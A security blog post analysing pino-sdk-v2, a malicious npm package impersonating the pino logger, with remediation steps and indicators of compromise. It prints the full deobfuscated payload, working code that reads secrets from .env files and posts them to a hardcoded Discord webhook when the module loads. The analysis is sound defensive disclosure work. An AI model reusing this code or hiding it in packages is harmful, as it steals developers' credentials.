---
title: "Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord"
description: "A malicious npm package impersonating the popular pino logger was detected by SafeDep. The package hides obfuscated code inside a legitimate library file to steal environment secrets and send them to a Discord webhook.\n"
url: "https://safedep.io/blog/malicious-npm-package-pino-sdk-v2-env-exfiltration"
author: "Kunal Singh"
published: "2026-03-06"
---

# Malicious npm Package pino-sdk-v2 Exfiltrates Secrets to Discord

## TL;DR

We found a malicious npm package [pino-sdk-v2](https://www.npmjs.com/package/pino-sdk-v2)
impersonating [pino](https://github.com/pinojs/pino), one of the most widely used Node.js loggers
with nearly 20 million weekly downloads. The package is a near copy of pino's source, docs,
and README with one addition: an obfuscated payload in `lib/tools.js` that scans `.env` files for
secrets and exfiltrates them to a Discord webhook on `require()`.

- `pino-sdk-v2@9.9.0` copies pino's entire source tree with a single modification: obfuscated credential stealing code injected into `lib/tools.js`
- The payload scans `.env`, `.env.local`, `.env.production`, `.env.development`, and `.env.example` for secret keys
- Extracted credentials are sent to a hardcoded Discord webhook
- No install hooks. The code executes on `require()`, bypassing scanners that only flag install scripts

## Investigation

The `package.json` lists the real pino author, repository, homepage, and description. The README substitutes `pino-sdk-v2` in install commands but otherwise mirrors pino's documentation, banner images, and benchmark references. A developer scanning the npm page would see nothing suspicious.

A diff of the `package.json` files between `pino-sdk-v2@9.9.0` and the legitimate `pino@9.9.0` shows the changes are minimal and focused on renaming:

```diff
--- pino-9.9.0/package/package.json    1985-10-26 13:45:00
+++ pino-sdk-v2-9.9.0/package/package.json    1985-10-26 13:45:00
@@ -1,10 +1,10 @@
 {
-  "name": "pino",
+  "name": "pino-sdk-v2",
   "version": "9.9.0",
   "description": "super fast, all natural json logger",
-  "main": "pino.js",
+  "main": "pino2.js",
   "type": "commonjs",
-  "types": "pino.d.ts",
+  "types": "pino2.d.ts",
   "browser": "./browser.js",
   "scripts": {
     "docs": "docsify serve",
@@ -15,9 +15,9 @@
     "test-ci": "npm run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly && npm run test-types",
     "test-ci-pnpm": "pnpm run lint && npm run transpile && tap --ts --no-coverage --no-check-coverage && pnpm run test-types",
     "test-ci-yarn-pnp": "yarn run lint && npm run transpile && tap --ts --no-check-coverage --coverage-report=lcovonly",
-    "test-types": "tsc && tsd && ts-node test/types/pino.ts && attw --pack .",
-    "test:smoke": "smoker smoke:pino && smoker smoke:browser && smoker smoke:file",
-    "smoke:pino": "node ./pino.js",
+    "test-types": "tsc && tsd && ts-node test/types/pino.ts",
+    "test:smoke": "smoker smoke:pino2 && smoker smoke:browser && smoker smoke:file",
+    "smoke:pino2": "node ./pino2.js",
     "smoke:browser": "node ./browser.js",
     "smoke:file": "node ./file.js",
     "transpile": "node ./test/fixtures/ts/transpile.cjs",
@@ -35,7 +35,7 @@
     "update-bench-doc": "node benchmarks/utils/generate-benchmark-doc > docs/benchmarks.md"
   },
   "bin": {
-    "pino": "./bin.js"
+    "pino2": "./bin.js"
   },
   "precommit": "test",
   "repository": {
@@ -60,7 +60,6 @@
   },
   "homepage": "https://getpino.io",
   "devDependencies": {
-    "@arethetypeswrong/cli": "^0.18.1",
     "@types/flush-write-stream": "^1.0.0",
     "@types/node": "^24.0.8",
     "@types/tap": "^15.0.6",
@@ -98,7 +97,7 @@
     "through2": "^4.0.0",
     "ts-node": "^10.9.1",
     "tsd": "^0.32.0",
-    "typescript": "~5.9.2",
+    "typescript": "~5.8.2",
     "winston": "^3.7.2"
   },
   "dependencies": {
```

The name, entry point, and binary are renamed. Everything else, including the author field (`Matteo Collina`), repository URL, and homepage, is copied verbatim from the real pino package.

<div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '1rem' }}>
  <div>
    ![Legitimate pino package README on npm](https://safedep.io/_next/static/immutable/media/pino-legit-readme.2l7zb9jf-bjlg.png)
    <p style={{ textAlign: 'center', fontSize: '0.875rem', color: '#888' }}>Legitimate pino</p>
  </div>
  <div>
    ![Malicious pino-sdk-v2 package README on npm](https://safedep.io/_next/static/immutable/media/pino-mal-readme.2q6yo0rwun6vn.png)
    <p style={{ textAlign: 'center', fontSize: '0.875rem', color: '#888' }}>Malicious pino-sdk-v2</p>
  </div>
</div>

### The Execution Path

The entry point `pino2.js` loads `lib/tools.js` as part of normal initialization, the same way legitimate pino does:

```js
const {
  createArgsNormalizer,
  asChindings,
  buildSafeSonicBoom,
  buildFormatters,
  stringify,
  normalizeDestFileDescriptor,
  noop,
} = require('./lib/tools');
```

The attacker chose `lib/tools.js` because it is loaded unconditionally and is large enough (300+ lines) to hide injected code without obvious visual cues.

### The Malicious Payload in `lib/tools.js`

The obfuscated payload is injected between the `stringify` function and the `buildFormatters` function, padded by whitespace on both sides. It uses hex-encoded variable names, string array rotation, and index-based lookups to obscure intent.

See the diff between `lib/tools.js` from the legitimate `pino@9.9.0` and the malicious `pino-sdk-v2@9.9.0`: https://www.diffchecker.com/xepKx048/

![Pino-v2-sdk-diff](https://safedep.io/_next/static/immutable/media/pino-sdk-v2-diff.396-mlyvd7x20.png)

### Deobfuscated Behavior

The obfuscated code defines a `Run` class with the following methods:

**`findEnvFiles()`** scans the current working directory for environment files:

```js
// Targeted files
const envFiles = ['.env', '.env.local', '.env.development', '.env.production', '.env.example'];

for (const file of envFiles) {
  const filePath = path.join(this.projectRoot, file);
  if (fs.existsSync(filePath)) {
    results.push(filePath);
  }
}
```

**`extractPrivateKeys()`** reads each `.env` file and matches lines against six regex patterns targeting secret values:

```js
const patterns = [
  /^PRIVATE_KEY\s*=\s*(.+)$/i,
  /^SECRET_KEY\s*=\s*(.+)$/i,
  /^API_KEY\s*=\s*(.+)$/i,
  /^ACCESS_KEY\s*=\s*(.+)$/i,
  /^SECRET\s*=\s*(.+)$/i,
  /^KEY\s*=\s*(.+)$/i,
];
```

The last pattern (`/^KEY\s*=\s*(.+)$/i`) is overly broad and will match any line starting with "KEY=", which increases the volume of exfiltrated data but also captures more credentials.

**`createDiscordEmbed()`** formats the stolen data as a Discord embed with:

- Title: "🔍 Results"
- Color: red (`0xff0000`)
- One field per extracted key, showing the filename, key name, value, and line number
- ISO timestamp

**`sendToDiscord()`** sends the embed to a hardcoded Discord webhook:

```
hxxps://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE
```

The `scanAndReport()` method orchestrates everything: find env files, extract keys, build embed, POST to Discord. It runs as a top-level async call when the module loads:

```js
async function log() {
  const webhookUrl = 'https://discord.com/api/webhooks/1478377161827029105/rFdz...';
  const runner = new Run(webhookUrl);
  await runner.scanAndReport();
}
log();
```

The function is named `log()`, consistent with names you would expect in a logging library. This kind of naming camouflage is deliberate.

## Detection Challenges

This sample sidesteps common detection approaches:

- **Trigger on `require()`, not install hooks.** Most malware scanners flag `preinstall`/`postinstall` scripts. This package has none. The payload activates when the library is actually used in application code, which is a later and less scrutinized phase.
- **Obfuscation.** Hex variable names, string array shuffling, and index-based lookups prevent simple grep-based scanning for strings like "discord" or "webhook."
- **Trusted metadata.** The real pino author, repository, and homepage in `package.json` make the npm registry page look legitimate.

A file diff against `pino@9.9.0` confirms the scope: only `lib/tools.js` is modified, `package.json` has the name change, and `pino.js` is renamed to `pino2.js`. Everything else is identical.



## What to Do if You Are Affected

- Remove the package: `npm remove pino-sdk-v2`
- Rotate any secrets stored in `.env`, `.env.local`, `.env.production`, `.env.development`, or `.env.example` files in the project directory where the package was imported
- Audit your npm lockfile for references to `pino-sdk-v2`
- Check your Discord audit logs or webhook activity if you operate the target webhook

For critical systems, treat this as a credential compromise. Rotate API keys, access keys, and any private keys that were present in environment files.

## Indicators of Compromise (IOC)

| Indicator           | Value                                                                                                                       |
| ------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| Package name        | `pino-sdk-v2`                                                                                                               |
| Version analyzed    | `9.9.0`                                                                                                                     |
| Malicious file      | `SHA256 (./pino-sdk-v2-9.9.0/package/lib/tools.js) = 3733f0add545e5537a7d3171a132df51e0b4105aebe85db35dbe868a056d3d24`      |
| Exfiltration method | Discord webhook (POST with JSON embed)                                                                                      |
| Webhook URL         | `https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE` |
| Targeted files      | `.env`, `.env.local`, `.env.production`, `.env.development`, `.env.example`                                                 |
| Targeted secrets    | `PRIVATE_KEY`, `SECRET_KEY`, `API_KEY`, `ACCESS_KEY`, `SECRET`, `KEY`                                                       |
| Trigger             | `require('pino-sdk-v2')` (no install hooks)                                                                                 |

## Deobfuscated Payload

The following is the deobfuscated version of the malicious code injected into `lib/tools.js`, produced using [deobfuscate.io](https://deobfuscate.io):

```js
const _0x366c1f = require('fs');
const _0x45c7ed = require('path');

class Run {
  constructor(_0x39cf71) {
    this.webhookUrl = _0x39cf71;
    this.projectRoot = process.cwd();
  }
  ['findEnvFiles']() {
    const _0x2727e8 = [];
    const _0x46afa7 = ['.env', '.env.example', '.env.local', '.env.production', '.env.development'];
    for (const _0x201ac2 of _0x46afa7) {
      const _0x3342b6 = _0x45c7ed.join(this.projectRoot, _0x201ac2);
      if (_0x366c1f.existsSync(_0x3342b6)) {
        _0x2727e8.push(_0x3342b6);
      }
    }
    return _0x2727e8;
  }
  ['extractPrivateKeys'](_0x371198, _0x41b9c9) {
    const _0x3e1c07 = [];
    let _0x2796a9 = _0x371198.split('\n');
    if (_0x2796a9[0x0] && _0x2796a9[0x0].endsWith('\r')) {
      _0x2796a9 = _0x371198.split('\r\n');
    }
    const _0x6db62a = [
      /^PRIVATE_KEY\s*=\s*(.+)$/i,
      /^SECRET_KEY\s*=\s*(.+)$/i,
      /^API_KEY\s*=\s*(.+)$/i,
      /^ACCESS_KEY\s*=\s*(.+)$/i,
      /^SECRET\s*=\s*(.+)$/i,
      /^KEY\s*=\s*(.+)$/i,
    ];
    _0x2796a9.forEach((_0x1dd75d, _0x18ec27) => {
      for (const _0x16ba03 of _0x6db62a) {
        const _0x3b88ca = _0x1dd75d.match(_0x16ba03);
        if (_0x3b88ca && _0x3b88ca[0x1]) {
          const _0x5719c4 = _0x3b88ca[0x1].trim().replace(/['"]/g, '');
          _0x3e1c07.push({
            key: _0x3b88ca[0x0].split('=')[0x0].trim(),
            value: _0x5719c4,
            line: _0x18ec27 + 0x1,
          });
        }
      }
    });
    return _0x3e1c07;
  }
  async ['sendToDiscord'](_0x436551) {
    try {
      const _0xf55f3d = await fetch(this.webhookUrl, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
        },
        body: JSON.stringify(_0x436551),
      });
      if (_0xf55f3d.ok) {
      } else {
      }
    } catch (_0x215247) {}
  }
  ['createDiscordEmbed'](_0x5ad81b) {
    const _0xafeae9 = {
      title: '🔍 Results',
      color: 0xff0000,
      fields: [],
      timestamp: new Date().toISOString(),
    };
    _0x5ad81b.forEach((_0x530115) => {
      _0x530115.keys.forEach((_0xe5d369) => {
        _0xafeae9.fields.push({
          name: '📁 ' + _0x45c7ed.basename(_0x530115.file) + ' - Line ' + _0xe5d369.line,
          value: '**Key:** `' + _0xe5d369.key + '`\n**Value:** `' + _0xe5d369.value + '`',
          inline: false,
        });
      });
    });
    return {
      embeds: [_0xafeae9],
    };
  }
  async ['scanAndReport']() {
    const _0x3eff7a = this.findEnvFiles();
    const _0x297a25 = [];
    for (const _0x1a964a of _0x3eff7a) {
      try {
        const _0x3aca2a = _0x366c1f.readFileSync(_0x1a964a, 'utf8');
        const _0x2013bf = this.extractPrivateKeys(_0x3aca2a, _0x1a964a);
        if (_0x2013bf.length > 0x0) {
          _0x297a25.push({
            file: _0x1a964a,
            keys: _0x2013bf,
          });
        }
      } catch (_0x6be91c) {}
    }
    if (_0x297a25.length > 0x0) {
      const _0x28d820 = this.createDiscordEmbed(_0x297a25);
      await this.sendToDiscord(_0x28d820);
    }
  }
}
async function log() {
  const _0x2ec9d8 = new Run(
    'https://discord.com/api/webhooks/1478377161827029105/rFdzcyHnIs0SCXK8tYWJGic5BteHShb1lyqjilPe9YAM0GOnlVBd4ugvRywWcFXM1uTE'
  );
  await _0x2ec9d8.scanAndReport();
}
log();
```
